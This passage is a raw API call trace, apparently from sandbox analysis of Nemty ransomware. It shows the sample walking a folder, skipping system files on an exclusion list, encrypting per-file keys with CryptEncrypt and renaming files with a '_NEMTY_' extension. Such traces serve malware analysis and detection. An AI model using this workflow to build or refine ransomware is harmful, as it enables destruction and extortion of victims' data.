lpUsedDefaultChar=0x0) returned 12 [0127.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_down.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0127.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_down.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_down.png", lpUsedDefaultChar=0x0) returned 12 [0127.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0127.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0127.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0127.154] Sleep (dwMilliseconds=0x5) [0127.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xff720db0, dwHighDateTime=0x1d561e7)) [0127.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xff720db0, dwHighDateTime=0x1d561e7)) [0127.173] GetLastError () returned 0x5 [0127.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0127.173] GetLastError () returned 0x5 [0127.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0127.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0127.173] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0127.173] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0127.173] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0127.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0127.173] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="eQa0n1v9bCEqlDJEaqgYL4v6EV8PmGsA1AX+wngFqn2JEQptmkvbcQO3h0DXSagj\r\nQZdTzEBeALFSgUEBXaiJVYJXxGYh+9AL11kQntqK/pf6bzNRz1oLVyiyvr2KPORN\r\nlsUN75Mls50XjLeo68VyWjq6Re/I9EN/+4GOfZqpdzG/jrqkvQXVmai3g6SyfPmm\r\nq1y8mPXYW+/DPBFmXBQOHB+VH8fnU5bh3S+jD42cKVoU0kPZhNi1Lbwrxaqj/yO7\r\n435p1pWEvL1xyQcV0hFH/YuZ8fNcqgnOBtCs9R2H6RZGy/nHEjKtSgmrxjFlAlRJ\r\n3M5oCgFZEUT9s8FnGPOrPg==\r\n", pcchString=0x653e91c) returned 1 [0127.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0127.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0127.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0127.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0127.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0127.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0127.173] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0127.174] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0127.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0127.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.174] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.183] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.183] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.183] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.192] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.192] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.192] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.201] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.201] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.210] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.220] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.220] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.220] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.229] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.229] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.229] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.238] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.238] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.238] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.247] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.247] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.257] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.257] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.257] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.266] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.272] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.272] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.272] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0127.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.279] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0127.279] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0127.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0127.279] CloseHandle (hObject=0xffffffff) returned 0 [0127.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0127.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0127.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0127.279] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0127.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0127.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0127.279] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0127.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0127.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.279] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\add_down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\add_down.png._nemty_kgobjgd_")) returned 0 [0127.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0127.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0127.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0127.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0127.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0127.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0127.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0127.280] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863263c0, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863263c0, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x296edf03, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="add_over.png", cAlternateFileName="")) returned 1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2=".") returned 1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="..") returned 1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="...") returned 1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="windows") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="$RECYCLE.BIN") returned 1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="rsa") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="NTDETECT.COM") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="ntldr") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="MSDOS.SYS") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="IO.SYS") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="boot.ini") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="boot.ini") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="AUTOEXEC.BAT") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="ntuser.dat") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="desktop.ini") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="CONFIG.SYS") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="RECYCLER") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="BOOTSECT.BAK") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="bootmgr") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="programdata") returned -1 [0127.280] lstrcmpiW (lpString1="add_over.png", lpString2="appdata") returned -1 [0127.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.280] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_over.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0127.280] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_over.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_over.png", lpUsedDefaultChar=0x0) returned 12 [0127.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.280] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_over.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0127.280] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_over.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_over.png", lpUsedDefaultChar=0x0) returned 12 [0127.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0127.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.281] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_over.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0127.281] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_over.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_over.png", lpUsedDefaultChar=0x0) returned 12 [0127.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.281] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_over.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0127.281] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="add_over.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="add_over.png", lpUsedDefaultChar=0x0) returned 12 [0127.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0127.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0127.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0127.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0127.281] Sleep (dwMilliseconds=0x5) [0127.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xff8518b0, dwHighDateTime=0x1d561e7)) [0127.294] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xff8518b0, dwHighDateTime=0x1d561e7)) [0127.294] GetLastError () returned 0x5 [0127.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0127.294] GetLastError () returned 0x5 [0127.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0127.294] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0127.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0127.294] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0127.294] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0127.294] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0127.294] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0127.294] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="9Fu8zRmDY4m8O3zCFZLWYJ9pJk3zUJkvJetpkcjhJuUm01LUyAV0r0WsEh/8D9m+\r\ngJYNysO9btIh2FYI5IejcJJWZhMv9lFsjOFzV1T0tjs5zSHCojOUxy2b7LVsZkLo\r\nTQElv/56F4mXgqJH2snrtQ5JFRkUeNmw+9tzmXo0QXt556IkP66laIVzXvxEY8BO\r\nWXl8aRNdrna8bT01IOyL18f15/E0R9YhL1y9d/8ZtI9xpvnZsteaDno+utGwKyL2\r\nKCcrxac2axc6DzAyb/C68WztHxvIVvZf+uP5H2PRDghyRSQmW5UktsM98olAdcKO\r\nhT63waekPKv6K2yHGhSBIA==\r\n", pcchString=0x653e91c) returned 1 [0127.294] RtlAllocateHeap (HeapHandle=0x4f90000, 